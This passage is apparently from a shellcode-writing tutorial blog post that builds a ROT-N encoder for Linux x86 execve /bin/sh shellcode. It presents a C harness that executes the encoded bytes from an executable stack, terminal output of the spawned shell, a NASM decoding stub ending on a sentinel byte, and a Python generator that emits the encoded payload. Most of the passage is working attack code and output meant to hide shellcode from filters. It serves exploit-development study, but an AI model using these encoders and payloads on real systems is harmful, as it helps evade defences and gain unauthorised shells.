#include <stdio.h>
#include <string.h>

unsigned char sc[] = 
"\xeb\x0f\x5e\x31\xc0\xb0\x16\x80"
"\x2e\x0d\xfe\xc8\x74\x08\x46\xeb"
"\xf6\xe8\xec\xff\xff\xff\x3e\xcd"
"\x5d\x96\xef\x75\x3c\x3c\x80\x75"
"\x75\x3c\x6f\x76\x7b\x96\xf0\x5d"
"\xbd\x18\xda\x8d";

int main()
{
    printf("Shellcode size: %d\n", strlen(sc));
    int (*ret)() = (int(*)())sc;
    ret();
}

Now compile and run!

abatchy@ubuntu:~/Desktop/work$ gcc Rot13ExecveSh.c -fno-stack-protector -z execstack -o Rot13ExecveSh.out
abatchy@ubuntu:~/Desktop/work$ ./Rot13ExecveSh.out 
Shellcode size: 44
$ exit

4. Getting rid of hard-coded shellcode size


Hard coding the shellcod size in the decoding stub is ugly, and is better to get rid of it for robustness, how do we do that?

Check the assembly code we used earler, it's already using the SUB instruction, which affects registers. What if we add an additional byte of value N (in this case it's 13), so when it's subtracted, followed by a JZ jmp instruction, we know that we reached the end of the shellcode?

Modified assembly wrapper
; Rot13ExecveSh.asm
; by Abatchy
;
;   nasm -felf32 Rot13Encoder.asm && ld -o Rot13Encoder Rot13Encoder.o
; Generated shellcode: 

global _start

section .text

_start:
    
    jmp short get_shellcode_addr    ; Get address of shellcode

ReturnLabel:
    pop esi                 ; Store address of "shellcode" in esi
decode:
    sub byte [esi], 13      ; Decode byte at [esi]
    jz shellcode            
    inc esi
    jmp short decode

get_shellcode_addr:
    call ReturnLabel
    shellcode: db  0x3e, 0xcd, 0x5d, 0x96, 0xef, 0x75, 0x3c, 0x3c, 0x80, 0x75, 0x75, 
                   0x3c, 0x6f, 0x76, 0x7b, 0x96, 0xf0, 0x5d, 0xbd, 0x18, 0xda, 0x8d, 0x0d

5. Python wrapper to support ROT-N

 

Wrapper below basically dissects the shellcode to replace instances where N is used, and encodes the payload, also shows a warning message if shellcode generated contains any null bytes.
#!/bin/python

import sys

def parse_args():
    if len(sys.argv) < 2:
        print "Usage: {0} N, where N is the number of rotations to be made".format(sys.argv[0])
        print "[+] Using default value of N = 13"
        return 13
    else:
        x = int(sys.argv[1]) % 256
        if x < 1:
            print "[-] Invalid number of rotations"
            exit()
        return x

magic = parse_args()
rotated_execve = ""
hasNulls = False
        
print "[+] Generating ROT-{0} encoded payload".format(magic)

execvesh = ("\x31\xc0\x50\x89\xe2\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\xb0\x0b\xcd\x80")


for i in bytearray(execvesh):
 j = (i + magic)%256
        if j == 0:
                hasNulls = True
 rotated_execve += '\\x'
 rotated_execve += '%02x' %j

sc = "\\xeb\\x09\\x5e\\x80\\x2e" + ("\\x%02x"%magic) + "\\x74\\x08\\x46\\xeb\\xf8\\xe8\\xf2\\xff\\xff\\xff" 
sc += rotated_execve + ("\\x%02x"%magic)

print "[+] Generated shellcode: " + sc

if hasNulls:
    print "[-] WARNING: Encoded payload contains at least one null byte, consider changing N"

Feel free to give any feedback/suggestions.

- Abatchy